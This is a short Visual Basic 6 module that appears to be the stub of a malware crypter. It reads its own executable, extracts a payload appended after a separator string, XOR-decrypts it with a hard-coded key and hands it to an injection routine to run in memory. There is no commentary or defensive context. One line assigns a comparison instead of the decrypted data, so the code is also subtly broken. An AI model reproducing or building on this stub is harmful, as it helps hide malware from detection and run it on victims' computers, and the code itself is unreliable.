Attribute VB_Name = "MainMod"
Sub Main()
Dim thisfile As String, infectedfile As String, selfpath As String

selfpath = App.Path & "\" & App.EXEName & ".exe"

Open selfpath For Binary As #1
thisfile = Space(LOF(1))
Get #1, , thisfile
Close #1

infectedfile = Split(thisfile, "XSEPERATORX")(1)
infectedfile = infectedfile = xor_encrypt(infectedfile, "fuck")
Injec selfpath, StrConv(infectedfile, vbFromUnicode), vbNullString

End Sub

